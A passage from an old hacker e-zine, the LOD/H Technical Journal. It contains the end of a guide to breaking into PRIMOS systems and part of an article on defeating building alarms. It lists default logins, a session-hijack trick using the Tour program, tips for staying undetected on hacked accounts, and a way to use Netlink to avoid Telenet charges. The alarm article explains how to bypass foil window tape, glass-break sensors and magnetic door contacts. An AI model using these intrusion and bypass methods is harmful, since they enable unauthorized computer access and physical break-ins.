  817.   |  TEST        |  TEST        |
  818.   |  NETMAN      |  NETMAN      |
  819.   |  PRIRUN      |  PRIRUN      |
  820.   |  TOOLS       |  TOOLS       |
  821.   |  CMDNC0      |  CMDMNC0     |
  822.   | +TELENET     |  TELENET     |
  823.   ===============================
  824.  Note: * means that that ID is most likely to have SYS1 priorities.
  825.  Note: + account belongs to Telenet or some employees of Telenet in which the
  826.          Primos will be located on the Telenet packet network.
  827.  
  828. System Accounts:
  829.  
  830. SYSTEM- This account usually contains configuration programs.  It
  831.         also contains system messages, logs, and userlists.
  832.  
  833. TOOLS-  This account usually contains the utility to add users and the Netlink
  834.         utility (Explained later).
  835.  
  836. CMDNC0- Contains help files.
  837.  
  838.   These are default accounts which are standard in new Primos systems. They
  839. should be there unless the userfile has been modified by the system operator.
  840.  
  841.   You can also mix them around, ie- Login SYSTEM  Password:PRIME
  842. There is no "systat" or extensive on-line help before logging in. Don't you
  843. wish people would model their operating systems after TOPS-10 (chuckle)?  The
  844. best account to get on under would be an account with SYS1 priorities. This
  845. account is for people who advise regular users.  Ok, lets assume you have
  846. hacked onto a regular account something like games.
  847.  
  848.   The command prompt for Primos is "OK,".  The first thing we would
  849. want to do is to see who is logged in. We would type "Users" and
  850. would get something like this:
  851.  
  852.  OK, Users
  853.  Users=8
  854.  
  855.   This is telling us that there are 8 users currently logged in, which isn't
  856. extremely helpful. To get a full listing of usernames we would type "Status
  857. Users" or "Status -Users".  We would get a status of users currently on-line.
  858. It would show us usernames, devices, and other sub-categories.  Here's a sample
  859. of what you would get:
  860.  
  861. User                  Number         Device
  862. ADMIN                   3            <MDF0>
  863. SYSTEM                  1            <MFD0> <MFD1>
  864. OBB                    31            <MFD0>
  865. CRIMINAL               12            <MFD1>
  866.  
  867.   If you see that other people are logged in, it may be best to log off and
  868. call back later, as the operators can perform the same command, and if they
  869. know that user should not be on the system at that time, you will obviously be
  870. kicked off.  If there are 2 devices specified, the user is either receiving
  871. output from a different device, sending input to that device, or has logged out
  872. incorrectly (tsk tsk).
  873.  
  874.   To get a full status of memory and accounting, you would type "Status System"
  875. This is usually in a Menu driven program, and you will get different options.
  876. ie- Log of users, memory, devices, etc.
  877.  
  878.   We can access different priority levels by using the "CHAP" command.  This is
  879. the way we can find out what our priority level is. We would do:
  880.  
  881. OK, CHAP UP
  882.  
  883. OK, CHAP DOWN X or CHAP DOWN
  884.  
  885.  to return to your original priority level:
  886.  
  887. OK, CHAP ORIGIN or CHAP DEFAULT
  888.  
  889.   Usually a user may leave his priority level rather low. You can then try to
  890. raise your level.  There should be 6 different priority levels. A 0 meaning
  891. lowest, and 6 meaning highest.  Here is a little diagram that will give you a
  892. list of ID's and what most of them will have access to.
  893.  
  894. Note: Some may have access to more or less than what I have written, but
  895.       the comments are accurate for most systems.
  896.  
  897.        !=================================================!
  898.        !     ID         !          Comments              !
  899.        !=================================================!
  900.        !   GAMES        !Allows user to view low level   !
  901.        !                !directories, and execute regular!
  902.        !                !commands. ie-CHAP, STATUS       !
  903.        !=================================================!
  904.        !   DEMO         !Allows user to run games, and   !
  905.        !                !execute the tour program.  Most !
  906.        !                !commands will not work, and it  !
  907.        !                !has a time limit. Lastly, it can!
  908.        !                !only access low lvl directories.!
  909.        !=================================================!
  910.        !   PRIME        !Allows user to execute all      !
  911.        !                !commands, except operator cmds. !
  912.        !                !User can also access PRIMENET if!
  913.        !                !the system supports it.  Access !
  914.        !                !to only low level directories.  !
  915.        !=================================================!
  916.        !   ADMIN        !Access to view all directories &!
  917.        !                !bypass all ACL'S.  Can setup an !
  918.        !                !accounts on other Primos systems!
  919.        !                !via PRIMENET (if available).    !
  920.        !                !User can execute any command.   !
  921.        !=================================================!
  922.        !  SYSTEM        !Same as ADMIN, except cannot    !
  923.        !                !view feedback to ADMINS.        !
  924.        !=================================================!
  925.        !  RJE           !Same as games, except a RJE     !
  926.        !                !user can erase user log and spy.!
  927.        !=================================================!
  928.        !  TEST          !Able to access any directory,   !
  929.        !                !only restriction is a test user !
  930.        !                !is not authorized to shut down  !
  931.        !                !the system.                     !
  932.        !=================================================!
  933.        Note: RJE is a Remote Job Entry
  934.  
  935.   Priority levels may vary on different Primos systems, they can range from
  936. 0- to any number up to 10.  The most common range is 0-6.  On some Primos
  937. systems you can do a CHAP PRIORITY to see what the range is.
  938.  
  939.   Ok, we have checked priorities, and the system status.  Lets move to
  940. directories.  To list a directory type "LD" short for List Directory.
  941. This will list the directory you are attached to.  In this case it
  942. will be your home directory.  You will get a list of files within your own
  943. directory.  To view someone elses directory you would type AT nameofdirectory.
  944. Lets say we are logged into a DEMO account.  And we would like to
  945. view the files in the GAMES account.  We could do either of the following:
  946.  
  947. OK, AT GAMES
  948.  
  949. This is telling the system we would like to default to the Games directory.
  950. This is similar to the Set Default name on a VAX/VMS system. (See Lex Luthor's
  951. Hacking VAX/VMS 3 part series for more information on VMS)
  952.  
  953. or we could do
  954.  
  955. OK, FUTIL
  956. >AT GAMES
  957.  
  958.   This is the same thing, except in the first method you can still execute
  959. Primos commands while still attached to the Games account.  But when using
  960. FUTIL (File UTILity program) you can only list,  create and copy files.  To get
  961. out of the file utility program just hit a Control P. Here is a chart of file
  962. types and how to execute them:
  963.  
  964. -------------------------------------------
  965. |   File type    |    How to execute it   |
  966. ===========================================
  967. |     .CPL       | CPL pathname           |
  968. |     .SAVE      | SAVE pathname          |
  969. |     .SEG       | SEG pathname           |
  970. |     .BASICV    | BASICV pathname        |
  971. |     .TXT       | SLIST pathname         |
  972. |     .COM       | CO pathname            |
  973. -------------------------------------------
  974. Note: SLIST will also show the program lines of the file, whether it be a
  975.       CPL file or COM file.  This is a good way to learn CPL (Command Procedure
  976.       Language).
  977.  
  978.   Most files will not have suffixes.  To execute them type "Resume pathname",
  979. filenames are called pathnames on PRIMOS.  Unlike VMS, the PRIMOS system
  980. doesn't have the type of file as a suffix.  On some files you'll get the
  981. suffix, but if not try: Resume pathname and that should execute the file,
  982. especially files with an "*" preceding them.  If a file is in the format of,
  983. "*filename" do "Resume *filename".  Usually basic files have an * preceding
  984. their titles.
  985.  
  986. To create a directory type:
  987.  
  988. OK, Create directname [-password] [-access]
  989.  
  990.   A password can be from 1-6 letters, if I wanted to have a password on
  991. my directory I would do-
  992.  
  993. OK, Create directname [-limp] [-access]
  994.  
  995.   If you don't put in an access level, the directory will automatically be
  996. set to ALL access.  Here's a list of access rights:
  997.  
  998.       P         =       Protect a directory
  999.       D         =       Delete entries from directory
  1000.       A         =       Add entries to directory
  1001.       L         =       Read the contents within directory
  1002.       U         =       Attach to a directory
  1003.       R         =       Read contents of a file
  1004.       W         =       Edit contents of a file
  1005.     ALL         =       All of the Above^^^^^
  1006.    NONE         =       Denies all access
  1007.  
  1008.   Typically, if you are logged into a DEMO account your directory will be set
  1009. to ALL access.  If it is, someone can attach to the demo directory and
  1010. do anything they want with it.  Here is a list of accounts and what access
  1011. they will usually have on their directory.
  1012.  
  1013.          DEMO      =    ALL
  1014.          GAMES     =    LUR
  1015.          PRIME     =    ALL
  1016.          SYSTEM    =    LUR
  1017.          ADMIN     =    NONE
  1018.          TEST      =    LUR
  1019.          JBB       =    NONE
  1020.          RJE       =    LUR
  1021.  
  1022.   Most directories have LUR access which is access to read contents of the
  1023. directory, attach to the directory, and read contents of a file.  If
  1024. you have enough privileges (priority levels) you can do the following to
  1025. change the access rights:
  1026.  
  1027. OK, Set_Access ALL [-LUR]
  1028.  
  1029.   This is setting access from ALL to LUR.  ALL was the present access, now we
  1030. changed it to LUR.  You should only do this if it's your own personal account
  1031. as changing access rights on hacked accounts could lead to your detection and
  1032. subsequent expulsion from the system.
  1033.  
  1034.   To create a file, preferably a text file, type "Mail pathname", then you will
  1035. be thrown into the Mail subsystem which I believe is version 3.1 now.  You can
  1036. type in all the info you want, when finished hit a Control-P.  It will ask you
  1037. for a pathname to save it to.  Enter the name you would like.  It will look
  1038. something like this:
  1039.  
  1040. OK, Mail DOE
  1041.  
  1042.   Mail 3.1
  1043. >Hello.  This is your system operator.  Any ideas on how to keep those
  1044. >pesky little computer criminals out of our system?
  1045. >Comments can be directed to SYSTEM.
  1046. Enter Filename: Pesky.Txt
  1047.  
  1048. The above method is rather primative but works good if you are only creating a
  1049. text file.  It is a common method used on version 18, and is easy to perform.
  1050. The other method is more common on version 19, and is commonly used today.
  1051.  
  1052. OK, Create Test.Txt
  1053. OK, Ed
  1054.  
  1055. EDIT
  1056. $
  1057. Note: $ is not dropping you into DCL, so you DCL programmers are out of
  1058.       luck (chuckle).
  1059.  
  1060.   From the $ prompt you can type 'help' to get a list of commands which can be
  1061. used in the Editor.
  1062.  
  1063. $ (return)
  1064.  
  1065.   By hitting return we are given the "&" prompt, here we can input our
  1066. file.  Or if you know CPL you can start programming.  Do not hit return
  1067. on a blank line or you will be thrown into the main Editor prompt ('$').
  1068.  
  1069. & Hello this is Bif (the system operator) I am testing the Editor
  1070. & because we have added new enhancements.  This is only a test.
  1071. & (return)
  1072.  
  1073.   Thus by hitting return we are given the $ prompt once again.  To
  1074. save our file we can type-
  1075.  
  1076. $ Save Test
  1077.  
  1078.   In this case the filename is test.  The system will reply by saying
  1079. 'Test Saved'.  The file should be located at the end of the files list
  1080. when you List files.
  1081.  
  1082.   To make sure the contents are saved type "Slist Test.Txt", it will display
  1083. the text you typed in mail or the editor.  A couple of important notes:
  1084.  
  1085. 1: Never use a "?" anywhere in the file, or it will erase all of the contents
  1086.    in the file.
  1087. 2: Never hit a c/r twice.  In other words if you hit a c/r on a blank line the
  1088.    system will recognize this as mail and will send it to the name you entered.
  1089.  
  1090.   If you want to make a basic program or basicv type "Basic" or "BasicV"
  1091. at the "Ok," prompt and you will be thrown into that language.  If you
  1092. would like to make a CPL program you can enter it from the main prompt since
  1093. that is the default language for Primos.
  1094.  
  1095.   To delete a file just type "Delete filename".
  1096.  
  1097.   To get a list of directories with their ACLs (Access Control Lists) type
  1098. "List_Access".  It would look something like this:
  1099.  
  1100. OK, LIST_ACCESS
  1101.  
  1102.       ACL  "<Current Directory>":
  1103.  
  1104.       ADMIN : NONE
  1105.        DEMO : LUR
  1106.      SYSTEM : LUR
  1107.      ROBERT : ALL
  1108.       GAMES : LUR
  1109.       PRIME : ALL
  1110.  
  1111.  
  1112.   To get a listing of just files type "Listing", it will give you a list
  1113. of files in the directory you're attached to.  The only difference between
  1114. this method and "LD" is that LD tells you what access rights is on that
  1115. directory.
  1116.  
  1117. <Tour Program>
  1118.  
  1119.   On some Prime systems you may find a program located within the Demo or Games
  1120. account.  The name of the program is "Tour" and you can execute it by doing CPL
  1121. Tour.  The program will be inputing commands and the system will execute them.
  1122.  There is a bug within that program which can be used to your advantage.  First
  1123. execute it by doing CPL Tour, once the program has begun it will have a couple
  1124. of pauses (while it is loading).  First hit 3 Control P's.  By doing this you
  1125. are breaking out of the program.  Next, attach to the SYSTEM directory.  Once
  1126. attached, SLIST the Tour program (Slist Tour).  When it begins listing the file
  1127. do a Ctrl-P again.  Now, go into the editor (ED).  When you receive the $
  1128. prompt hangup on the system.  The system is now hung in the Editor, and the
  1129. Tour program is still executing (from the Demo or Games account). You must call
  1130. right back (and prey that the line hasn't been captured by a system operator).
  1131. You will be put right into the tour program, while it is being executed.  You
  1132. will need no pw to login as you are attached right to it.  You now have access
  1133. to write and read anything your little heart desires.  If you plan on trying
  1134. this, do it at night, since you will most likely be the only one on the system.
  1135.  Always do it on a 1 line system.  Never on a Prime that is used constantly
  1136. (unless you have perfected this method).  Remember to call right back after you
  1137. have hung up, or someone like BIF may call and wonder why he did not get the ID
  1138. prompt.  So be careful.
  1139.  
  1140.   I also know different ways you can modify the tour program to have
  1141. a little fun (using CPL commands) but due to obvious reasons I will not
  1142. publicize the lines.  If you are interested please get in contact
  1143. with me.
  1144.  
  1145. <Message>
  1146.  
  1147.   To send a message to someone on the system type "Message username". It would
  1148. look something like this:
  1149.  
  1150. OK, Message PRIME
  1151. Hi, can you tell me why the system was down last week.
  1152.  
  1153. Note: Remember DON'T use ?'s.
  1154.  
  1155.   The user PRIME will receive the message, unless he's busy or has executed
  1156. a command which refuses messages.  It would look like this:
  1157.  
  1158. OK, Message Prime
  1159. Hi, can you tell me why the system was down last week.
  1160.  
  1161. User Prime not accepting messages
  1162.  
  1163.   If you do not receive that message then the user will get your message. This
  1164. is like Phone username on VMS, except on a VMS it looks better (chuckle).
  1165.  
  1166. <Mail>
  1167.  
  1168.   To send mail you type: "Mail xxxxx".  If I wanted to send mail to user
  1169. SYSTEM, I would type "Mail System", I would be thrown into the mail subsystem.
  1170. To end a message hit a c/r on a blank line.  You will be notified when you get
  1171. mail when you first logon.  It will say "(mail waiting)".  To read it type
  1172. "Mail".  If you have no mail and you type Mail it will say "sorry no mail
  1173. today".  Once again no ?'s are allowed or the contents of the mail will be
  1174. erased.
  1175.  
  1176. <Status>
  1177.  
  1178.   Status followed by a topic will give you a system status on that topic.  You
  1179. can get information on the following using Status-
  1180.  
  1181. Status ALL        =      Information on who is logged in and devices.
  1182. Status DI         =      Information on devices, what devices are in use.
  1183. Status SYSTEM     =      Information on what version of Primos is being run.
  1184. Status NETWORK    =      Information on Netlink, and network nodes.
  1185.  
  1186.   There are others but these are probably the most important, and of course,
  1187. "Status Users" which I mentioned earlier, which will give you a list of users
  1188. currently logged in.
  1189.  
  1190. <Change_Password>
  1191.  
  1192.   Allows a user to change his password.  It will look something like this:
  1193.  
  1194. OK, Change_Password
  1195. Old Password:Z102345
  1196. New Password:
  1197. Verification :
  1198.  
  1199.   Notice how new password and verification don't echo, this is for security
  1200. purposes so don't be alarmed.  Changing passwords of hacked accounts is not a
  1201. good idea. We don't want to get detected now do we?
  1202.  
  1203. <Info>
  1204.  
  1205.   Gives info on the system. ie-who it belongs to, what version its running
  1206. on and new features.
  1207.  
  1208. <Languages>
  1209.  
  1210.   Gives a list of languages the system supports.
  1211.  
  1212. <Help>
  1213.  
  1214.   Gives a list of help commands and a small description.
  1215.  
  1216.  
  1217. <Netlink>
  1218.  
  1219.   By typing Netlink at the main prompt (OK,) you will be thrown into the
  1220. Netlink utility.  Netlink is found on Primenet (which is the networking
  1221. software for Primes).  Netlink is used to communicate with other remote
  1222. systems.  You will find the netlink utility on most packet networks, since
  1223. there is much use for it there.  Netlink can be accessed by all users on
  1224. the system.  Once netlink is typed you will get a message, similar to:
  1225.  
  1226. Netlink version x.xx
  1227. >(this being the main prompt)
  1228.  
  1229.   Once again on-line help is available if you have no idea what you are
  1230. doing.  To call another system, you would use the NC xxxxxx format.
  1231. If you were on Telenet using Primenet supporting the Netlink utility you
  1232. could call any system on Telenet.  For example if I wanted to call my
  1233. favorite VMS I would type-
  1234.  
  1235. >NC 201111
  1236.  
  1237.   201111 being the address.  You will get a pause for about 5 seconds and you
  1238. will be connected to the remote system.  It is fairly slow, but it is
  1239. sufficient.  The whole process would look something like this-
  1240.  
  1241. OK, NETLINK
  1242.  
  1243. Netlink [Version 1.x]
  1244.  
  1245. >NC 201111
  1246. <Pause for about 5 seconds>
  1247.  
  1248. Username:
  1249. Password:
  1250.  
  1251.   Username and Password shows that I have connected to the Vax running VMS. I
  1252. would log onto the remote system (the VMS in this case) like I would any other
  1253. time.  Once I am done looking around on the remote system I can just logoff by
  1254. doing a Control P (this will put you back into the utility), or I could just
  1255. logoff properly by using the VMS logout command and be put back into the
  1256. Netlink utility program.
  1257.  
  1258.   If you ever receive the message "WILL NOT ACCEPT COLLECT CONNECTION" from a
  1259. system off of Telenet, you can just reverse the charges to the Prime you are on
  1260. and log onto the remote system.  You can do this by using the NC format above.
  1261. This allows you to bypass the need for a Telenet ID.
  1262.  
  1263.   Netlink won't compare to something like DECNET but it gets the job done.
  1264. Remember if you aren't too sure what you are doing just type "help" for on-line
  1265. help.  To exit the Netlink utility type "Quit" or just hit Control-P.  This
  1266. will give you the main prompt once again.
  1267.  
  1268. <Upcase/Lowcase>
  1269.  
  1270.   Toggles upper and lower case.
  1271.  
  1272. <Control characters>
  1273.  
  1274. Control S = Pauses Text
  1275. Control P = Aborts Text or Utility
  1276. Control Q = Resumes Text
  1277.  
  1278. <Author Notes>
  1279.  
  1280.   If you gain access to Primos supporting on-lines games, which can be found by
  1281. (AT)taching to the Games directory.  There may be a game called "FRITZ", it's a
  1282. fun game dealing with questions on the Primos system.  It can also test your
  1283. knowledge on the system.
  1284.  
  1285.   Usually if a person hangs up on the system without properly logging off you
  1286. may be able to call the system and be attached to that account.  This usually
  1287. works on systems with one line.  I called a Primos one day and was attached to
  1288. a system account modifying a config program.  It was interesting...
  1289.  
  1290. There are many Prime systems on Telenet so I suggest getting ahold of the
  1291. updated LOD/H Telenet Directory from Issue I and jot down a few.  Preferably
  1292. Primenet, since they support the Netlink utility.
  1293.  
  1294. ============================================================================
  1295.  
  1296. Here's a list of some major differences between PRIMOS version 18.x.xx and
  1297. Version 19.x.xxx
  1298.  
  1299.  1.  Version 19 supports Access Control Lists, which allows the user to set a
  1300.      specific access right on his/her directory.
  1301.  2.  Version 19's security has been tightened.  A user will be prompted with
  1302.      the password prompt.  A user is usually allowed only 1 unsuccessful login,
  1303.      if the ID or password is incorrect the user will be logged off.
  1304.  3.  Once a user has tried to execute a command/file without sufficient
  1305.      access rights he will be logged off of the system.  The account will
  1306.      automatically be suspended until an operator has contacted the user.
  1307.  4.  Users have to change their password every 30 days.
  1308.  5.  The "CHAP" command can be executed by users to toggle their priority
  1309.      level.
  1310.  6.  Netlink has been enhanced with more commands.
  1311.  7.  A primary password may be used for better security.
  1312.  8.  After logging out you will be disconnected from the system, rather
  1313.      than prompted with the ER! prompt.
  1314.  9.  Dec VT132 is the commonly used operator terminal on version 19.
  1315. 10.  There have been new enhancements to the editor.
  1316. =============================================================================
  1317.  
  1318.   As you can see, PRIMOS is a very versatile system. It's not very popular
  1319. among hackers since there hasn't been too much information released on it.
  1320. Most commands will be the same on version 18, if not just execute the Help
  1321. file. The final element to PRIMOS will be alarm (it will be similar to the one
  1322. on VMS).  I will go a little more in-depth on the ALARM system in Part II (I
  1323. will have more information on it, and by that time it will be inserted in later
  1324. revisions of version 20).  Basically the alarm will record all unsuccessful
  1325. logins and will alert the operator at the terminal.  The alarm will be a
  1326. standard part of PRIMOS and can not be shut on and off, from a reliable source,
  1327. the alarm may come in a different package.
  1328. =============================================================================
  1329.  
  1330. Part II:  I will discuss new commands, creating accounts, go more in-depth on
  1331.           the Netlink utility, and any other changes in PRIMOS Version 20.
  1332.  
  1333.  
  1334. Until then....
  1335.  
  1336. You can reach me via the TJ staff account, for questions, requests for more
  1337. information, and corrections to this article.
  1338.  
  1339.  
  1340.  
  1341.  
  1342. Gfiles: (1-8, ^4),?,Q : 
  1343. The LOD/H Technical Journal: File #5 of 10 (ISSUE #2)
  1344.  
  1345.  
  1346.              Lex Luthor and The Legion Of Doom/Hackers Present:
  1347.  
  1348.              Identifying, Attacking, Defeating,  and Bypassing
  1349.              Physical Security and Intrusion Detection Systems
  1350.  
  1351.                           PART II: THE EXTERIOR
  1352.  
  1353.  
  1354.  
  1355. INTRODUCTION:
  1356. -------------
  1357.  
  1358. The 'exterior' refers to the area directly outside of a building and the things
  1359. within the building which are on the exterior. These obviously are: doors, air
  1360. conditioning ducts, windows, walls, roofs, garages, etc. I don't believe the
  1361. word 'exterior' is the exact definition of what this article will encompass,
  1362. unlike the 'perimeter', but it's the best I could come up with. This article
  1363. primarily is of an informative nature, although methods of "attacking,
  1364. defeating, and bypassing" will be explained. Its purpose is not specifically to
  1365. encourage you to breach a facility's security, although I acknowledge that it
  1366. could be used as such. Some of the devices mentioned in the physical security
  1367. series are used in homes as well as corporate, industrial, and military
  1368. installations, but my aim is specifically towards the commercial aspect of
  1369. buildings, not homes and apartments. Entering a facility to obtain information
  1370. such as passwords or manuals is one thing, breaking into someones' home to
  1371. steal their personal belongings is another.
  1372.  
  1373.  
  1374. THE EXTERIOR:
  1375. -------------
  1376.  
  1377. A facility's second line of defense  against intrusion is its' exterior.  The
  1378. exterior may have any or all of the following:
  1379.  
  1380. * Window breakage detectors
  1381.  
  1382. * Keypad systems
  1383.  
  1384. * Card access control systems
  1385.  
  1386. * Magnetic locks and contacts
  1387.  
  1388. * Security lighting and CCTV
  1389.  
  1390. CCTV which is also used, was mentioned in Part I: The Perimeter.
  1391. Card Access Control devices will be mentioned in Part III: The Interior.
  1392.  
  1393.  
  1394. WINDOWS:
  1395. --------
  1396.  
  1397. Windows are a large security hole for buildings. You may notice that many phone
  1398. company buildings and data processing centers have few if any windows. There
  1399. are two things that can be done to secure windows aside from making sure they
  1400. are locked. One is to make them very difficult to break, and the other is to
  1401. detect a break when and if it occurs. Here is a quick breakdown of the common
  1402. types of glass/windows in use today:
  1403.  
  1404. Plate glass: Can be cut with a glass cutter.
  1405. Tempered: Normally can't be cut. Breaks up into little pieces when broken.
  1406. Safety: You need a hatchet to break this stuff.
  1407. Wire: This has wire criss-crossed inside of the glass, making it very hard to
  1408. break, and even harder to actually go through the opening it is in place of.
  1409. Plexy: Very hard to break, doesn't really shatter, but can be melted with the
  1410. use of a torch.
  1411. Lexan: This is used in bulletproof glass. One of the strongest and most secure
  1412. types of glass.
  1413. Herculite: Similar to Lexan.
  1414.  
  1415.  
  1416. Foil tape:
  1417. ----------
  1418.  
  1419. This is by far the most common, and probably the most improperly installed form
  1420. of glass breakage detection, which also makes it the most insecure. This is
  1421. usually a silver foil tape about 5/16" wide which should be placed on the whole
  1422. perimeter of a glass window or door. In the case of plexyglass or a similar
  1423. material, the tape should be placed in rows separated by 6-12 inches.
  1424.  
  1425. The older foil was covered with a coating of eurathane or epoxy which enabled
  1426. it to stick onto the glass. The newer foil has an adhesive back making
  1427. installation much easier. There should be two connectors which are located at
  1428. the upper top part of a window, and the lower part of the window which connects
  1429. the foil to the processor, thus, completing the circuit. Foil may or may not
  1430. have a supervised loop. If it is supervised, and you use a key to scratch the
  1431. foil (when it is turned off) making a complete break in it, an alarm will sound
  1432. when it is turned on.
  1433.  
  1434. Foil is commonly used as a visual deterrent. Many times, it will not even be
  1435. activated. The easiest way to determine if the facility is trying to 'B.S.' you
  1436. into thinking they have a security system, is to see if there are any breaks
  1437. in the foil. If there is a clean break, the 6-12V DC current which is normally
  1438. making a loop isn't. Thus, breaking the glass will do nothing other than make
  1439. some noise unless you take steps against that happening.
  1440.  
  1441. As was stated, foil is the most improperly installed type of glass breakage
  1442. detection. When it is installed improperly, it will not cover all the area it
  1443. should. An easy way to defeat this is by the following diagram:
  1444.  
  1445. +-------------+
  1446. ! ........... !
  1447. ! .         . !  . = foil tape
  1448. ! . put     . !  - = top/bottom of door
  1449. ! . contact . !  ! = sides of door
  1450. ! . paper   . !  / = dividing line between 2 pieces of contact paper
  1451. ! . in      . !  $ = ideal places for initial breakage
  1452. ! . this    +-!  ' = clear area or outline of second piece of contact paper
  1453. ! . area    ! !  <-- door handle
  1454. ! .         +-!
  1455. ! .         . !
  1456. ! ........... !
  1457. !/////////////!
  1458. !'''''''''''''!
  1459. !'           '!
  1460. !$'''''''''''$!
  1461. +-------------+
  1462.  
  1463.  
  1464. As you can see, the installer neglected to place the foil all the way down to
  1465. the bottom of the glass door. There is enough room for a person to climb
  1466. through. They may have thought that if someone broke the glass, it would all
  1467. break, which is normally correct. But if you obtain some strong contact paper,
  1468. preferably clear, adhere it to the glass as shown, and break the bottom part at
  1469. the '$' it will break up to the '/' line and thats it. Thus, leaving the foil
  1470. in-tact. This will work on tempered glass the best, and will not work on Lexan
  1471. or Plexyglass. There is a transparent window film with a break strength of up
  1472. to 100 pounds per square inch which can be obtained from Madico, Inc. It is
  1473. called, Protekt LCL-400 XSR, and makes glass harder to break and stays
  1474. essentially in place even when broken. This can be used in place of the contact
  1475. paper. Obviously, it is also used to protect glass from breakage.
  1476.  
  1477. Audio discriminators:
  1478. ---------------------
  1479.  
  1480. What these do is to compare the frequency of the sound that glass makes when it
  1481. breaks, to the actual breakage of glass. This frequency is relatively unique,
  1482. and can accurately determine when and if glass actually breaks. Your best shot
  1483. at defeating this, is to do the same thing as mentioned above. Cover the glass
  1484. with a film which will keep the glass in place after breaking it. If you break
  1485. it properly, the frequency will not match that of glass breaking when it is not
  1486. held in place.
  1487.  
  1488. Glass shock sensors:
  1489. --------------------
  1490.  
  1491. These devices detect shock disturbances using a gold-plated ring that "bounces"
  1492. off a pair of normally closed gold-plated electrical contacts. This will send
  1493. a signal to a Signal Processor (SP) which determines whether an alarm condition
  1494. exists. There are two settings the SP can be set to which are:
  1495.  
  1496. SHOCK-BREAK: This mode requires an initial high energy shock, followed by a
  1497. very low engery shatter. The shatter must occur within about 1 second before
  1498. an alarm can occur.
  1499.  
  1500. SHOCK-ONLY: An alarm will occur once the first shock is detected. This may or
  1501. may not be accompanied by a shatter.
  1502.  
  1503. Obviously the more secure setting for a facility would be shock-only. Though,
  1504. both are equally dangerous for an intruder. The methods mentioned earlier about
  1505. preventing the glass from shattering will not work when this device is used in
  1506. the shock-only mode. It may work, depending on the type of glass, if it isn't
  1507. in the shock-break mode.
  1508.  
  1509. These devices are usually found protecting large plate glass and multi-pane
  1510. windows. They are roughly 2 inches by 1 inch and can be mounted on the frame of
  1511. a window, between two windows, or on the glass itself. These sensors can cover
  1512. up to 150 square feet of glass.
  1513.  
  1514. These are the best of the lot for window breakage detection. Most devices have
  1515. a constantly supervised loop, and if you cut a wire, that loop will break, and
  1516. cause an alarm condition. They are typically placed somewhere on the window
  1517. pane and not on the window, thus, making them harder to visually detect...from
  1518. the outside that is. Though from close inspection, you may be able to determine
  1519. if these are in place. Obviously they can easily be seen from the inside...
  1520.  
  1521. The sensor is normally placed no more than a couple of inches from the glass.
  1522. If it is too far away, or if you can move one over 4 inches from the glass, its
  1523. detection capability is somewhat diminished. It is probably screwed in, and has
  1524. an adhesive backing, so moving it may not be too easily accomplished. False
  1525. alarms are not common, unless the windows rattle. There are sensors available
  1526. which are not as sensitive, and will not "overreact" to slight vibration, these
  1527. are called "damped" sensors.
  1528.  
  1529.  
  1530. MAGNETIC CONTACT SWITCHES:
  1531. --------------------------
  1532.  
  1533. The word "contact" is somewhat contradictory to how these devices are commonly
  1534. used. In most cases, the magnet and the switch are not in physical contact of
  1535. each other, rather, they are in a close proximity of each other, although
  1536. there are some models which are indeed in contact with each other. There are
  1537. various types and levels of security that these devices possess.
  1538.  
  1539. They can be surface mounted (floor or wall mounted) or concealed (recessed).
  1540. The most common are surface mounted which are placed on top of the door. When
  1541. inspecting for these devices, examine the whole perimeter of the door, from top
  1542. to bottom. Most doors have a +/- 1/4" gap all the way around, in which you
  1543. should also check for concealed contacts. These are round cylinders that are
  1544. recessed into the door or wall, which obviously makes them less visible. The
  1545. other contacts range from miniature, with dimensions as small as 1x1/4x1/4"
  1546. to the larger ones at 5x2x1". They are usually in colors of off-white, grey,
  1547. and brown and are mounted with nails, screws, double sided tape, or are epoxied
  1548. onto the door or wall surface(s). The switches are hermatetically sealed, as
  1549. are the glass breakage detectors mentioned earlier, can operate in moist or
  1550. dusty areas, are corrosion resistant and have indoor/outdoor use. They can also
  1551. be used on windows, fence gates, truck trailors, boats, heavy equipment, safes,
  1552. and vaults.
  1553.  
  1554. The different types of devices in order of least to most secure are:
  1555.  
  1556. 1) Standard Magnetic Contacts: These consist of one reed switch and one magnet.
  1557.    They may be defeated with the use of a second magnet which would be placed
  1558.    in the vicinity of the switch, while opening the door or window and while
  1559.    closing them also. This way, the switch never detects the abscense of the
  1560.    magnet, thus, no alarm occurs.
  1561.  
  1562. 2) Biased Magnetic Contacts: These consist of one reed switch with a "biasing"
  1563.    magnet that changes the state of the reed switch. The magnet is then placed
  1564.    at the correct distance to offset the bias magnet, creating a "balanced"
  1565.    condition. The switch can be defeated with the use of a single magnet. The
  1566.    trick is to:
  1567.  
  1568.      A) You must have the correct size magnet, which can be accomplished by
  1569.         obtaining the same type or model as what is in place.
  1570.  
  1571.      B) You must determine the correct polarity which may be accomplished with
  1572.         either a compass, or if the alarm is not activated, (possibly during
  1573.         normal business hours), by opening the door and placing your magnet
  1574.         near the device's magnet and determine the polarity. If you do not have
  1575.         much time, then its a 50-50 shot.
  1576.  
  1577.      C) The last criteria is to keep the magnet at the same or close to the
  1578.         same distance from the switch as the original magnet was. In some cases
  1579.         the device will be placed in such a manner that correct placement of
  1580.         the second magnet will be difficult if not impossible.
  1581.  
  1582. 3) Balanced Magnetic Contacts: These consist of one biased reed switch and one
  1583.    unbiased reed switch. The second reed will be of the correct sensitivity
  1584.    and position so as to not operate with the actuator magnet. It must also
  1585.    operate with the addition of a second magnet. It could be defeated by a
  1586.    single magnet that is moved into place as the door is opened. This requires
  1587.    coordinated movement of the door and magnet.
  1588.  
  1589. 4) Preadjusted Balanced Magnetic Contacts: These consist of three biased reed
  1590.    switches and may have an optional fourth tamper reed. Two reeds are
  1591.    polarized in one direction and the third is polarized in the opposite
  1592.    direction. The housing consists of three magnets with the polarity that
  1593.    corresponds to the switches. It is preadjusted to have a fixed space between
  1594.    the magnet and the switch. This is the most secure type of magnetic contact
  1595.    switch. The three-reed type could be defeated by using one of its own
  1596.    magnets, but not a bar magnet. The type with four reeds cannot be defeated
  1597.    with either of the two magnets because the fourth reed will activate when
  1598.    a magnet is brought within actuating distance. If you are able to determine
  1599.    which is the tamper reed, you can try to keep the three magnets in contact
  1600.    with the corresponding reeds. At the same time you must have the correct
  1601.    polarity, and in the process, not activate the tamper reed. If you
  1602.    accomplish those, you may be able to defeat it. This will most likely
  1603.    require two people and a bit of luck.
  1604.  
  1605.    The most secure devices are made of die cast aluminum instead of plastic,
  1606.    are explosion proof (for vaults and safes), have terminals mounted inside
  1607.    the housing which provides protection from tampering and shorting, and have
  1608.    armored cabling.
  1609.  
  1610.  
